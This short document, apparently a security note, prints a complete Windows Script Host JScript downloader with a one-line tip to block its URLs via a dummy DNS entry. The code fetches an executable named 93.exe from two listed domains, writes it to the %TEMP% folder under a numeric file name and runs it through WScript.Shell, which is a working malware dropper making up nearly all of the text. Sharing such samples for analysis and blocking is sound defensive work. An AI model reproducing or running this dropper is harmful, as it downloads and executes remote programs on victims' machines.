Example of javascritp

To avoid this type of attack create a dummy DNS for URLS

```
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;

var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;


var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);

var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;


for (var v = 0; v < URLS.length; v++) {
    try {
        var url = URLS[v];
        httpRequest.open(METHOD_GET, url, false);
        httpRequest.send();
        if (httpRequest.status == STATUS_OK) {
            try {
                stream.open();
                stream.type = 1;
                stream.write(httpRequest.responseBody);
                if (stream.size > MIN_FILE_SIZE) {
                    v = URLS.length;
                    stream.position = 0;
                    stream.saveToFile(storedFilePathName, 2);
                }
            } finally {
                stream.close();
            }
        }
    }
    catch (ignored) {
    }
```

```
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
```